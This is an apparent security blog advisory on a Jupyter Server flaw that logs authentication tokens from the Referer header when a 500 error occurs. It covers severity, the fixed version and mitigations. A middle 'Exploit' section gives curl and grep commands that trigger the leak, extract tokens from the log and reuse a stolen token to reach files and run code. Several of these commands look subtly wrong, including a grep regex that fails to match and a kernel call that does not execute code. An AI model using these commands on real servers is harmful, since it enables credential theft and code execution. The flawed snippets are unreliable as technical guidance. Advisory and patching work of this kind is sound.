Listen to this Post
CVE ID: CVE-2026-86049
Jupyter Server is the backend that powers Jupyter web applications, handling requests for notebooks, kernels, terminals, and file operations. The vulnerability resides in jupyter_server/log.py, specifically in the code path responsible for logging request headers when a request results in an HTTP 500 (Internal Server Error) response. When a 500 error occurs, the server logs a small JSON block containing the request headers for debugging purposes. The critical flaw is that the `Referer` header is copied into this log block verbatim, without applying the same token-scrubbing mechanism that is applied to the request URI. In Jupyter’s token-based authentication model, tokens routinely appear in URLs as query parameters. During normal login and notebook launch flows, the browser includes the full URL—including the token—in the `Referer` header when making subsequent requests. If any of these requests triggers a 500 error, the token-bearing `Referer` value is written to the server log in plaintext. This means that any party with read access to the Jupyter Server logs—whether a legitimate administrator, a user with log access, or an attacker who has compromised a low-privileged account on the same system—can harvest valid authentication tokens. These tokens grant the bearer full access to the affected user’s Jupyter Server environment, including the ability to execute arbitrary code in running kernels, access notebooks, and interact with the file system within the user’s permissions. The vulnerability affects all versions of Jupyter Server prior to 2.21.0 and is classified under CWE-532 (Insertion of Sensitive Information into Log File). The severity is rated HIGH with a CVSS 3.1 score of 7.1 (AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H). The issue was fixed in version 2.21.0 via pull request 1681, authored by contributors Yann-P and krassowski, which now scrubs header values before logging. There is no evidence that this vulnerability has been exploited in the wild, but the low complexity of triggering a 500 error and the high value of leaked tokens make it a significant risk for multi-tenant or shared Jupyter deployments.
DailyCVE Form
DailyCVE Form:
Platform: Jupyter Server
Version: <2.21.0
Vulnerability: Token log leak
Severity: High
date: 2026-09-17
Prediction: 2026-09-24
(end of form)
What Undercode Say
Analytics
The `Referer` header is the HTTP header that browsers send to indicate the page from which a request originated. In Jupyter’s token-based authentication, the token appears in the URL as a query parameter, and any subsequent request from that page includes the full URL—token and all—in the `Referer` header. The logging code in `jupyter_server/log.py` did not apply the same redaction to header values that it applied to the request URI, creating the leak.
The following bash commands demonstrate the vulnerability in a controlled environment:
Trigger a 500 error with a token in the Referer header
curl -i -X POST \
-H 'Content-Type: application/json' \
-H 'Referer: http://127.0.0.1:8899/tree?token=REFERTOKEN' \
--data '{"name":123}' \
'http://127.0.0.1:8899/api/kernels?token=VALIDTOKEN'
Examine the Jupyter Server log for the leaked token
grep "Referer" /var/log/jupyter/jupyter_server.log | tail -5
The log entry will contain the raw token
"Referer": "http://127.0.0.1:8899/tree?token=REFERTOKEN",
The log output shows the token in two places: the raw `Referer` JSON block and the redacted request log line.
Exploit: (Educational Purposes!)
An attacker with read access to the server logs can extract tokens and use them to authenticate to the Jupyter Server:
Extract the token from the leaked log entry
LEAKED_TOKEN=$(grep -oP '"Referer": "[^"]token=\K[^"]' /var/log/jupyter/jupyter_server.log | head -1)
Use the stolen token to access the server
curl -H "Authorization: token $LEAKED_TOKEN" \
http://127.0.0.1:8899/api/contents/
Execute arbitrary code via the kernel API
curl -X POST -H "Authorization: token $LEAKED_TOKEN" \
-H "Content-Type: application/json" \
-d '{"code":"import os; os.system(\"id\")"}' \
http://127.0.0.1:8899/api/kernels
The attacker can also use the stolen token to download notebooks, access the file browser, or spawn a terminal session, all with the privileges of the token’s owner.
Protection: from this CVE
- Upgrade immediately to Jupyter Server 2.21.0 or later, where the fix from pull request 1681 redacts header values before logging.
- Restrict log access as a defense-in-depth measure. Ensure that Jupyter Server logs are readable only by trusted administrators and that they are not exposed through web interfaces, shared directories, or log aggregation systems with broad access.
- Avoid token-in-URL flows where possible. If your deployment supports cookie-based authentication or other mechanisms that keep tokens out of URLs, prefer those to reduce the attack surface.
- Monitor logs for anomalies. Even after patching, audit existing logs for any leaked tokens that may have been captured before the upgrade and revoke those tokens.
- Rotate tokens as a precaution if you suspect logs may have been accessed by unauthorized parties.
Impact:
Successful exploitation of CVE-2026-86049 allows an attacker to recover valid Jupyter Server authentication tokens from log files. With a valid token, the attacker gains the same level of access as the legitimate user, which in a typical Jupyter deployment means the ability to execute arbitrary code in kernels, read and modify notebooks, access files within the user’s workspace, and potentially pivot to other systems on the network from within the Jupyter environment. The confidentiality, integrity, and availability impacts are all rated HIGH in the CVSS vector. The attack requires a high complexity level and some privileges (log read access), but once the token is extracted, the impact is severe. In multi-tenant environments where users share a JupyterHub deployment, a single compromised token can lead to lateral movement across user workspaces. The vulnerability is particularly dangerous because 500 errors can be triggered trivially with malformed requests, and tokens appear in `Referer` headers during normal usage—no special attacker action is needed beyond waiting for a legitimate user to trigger an error while browsing with a token-bearing URL.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
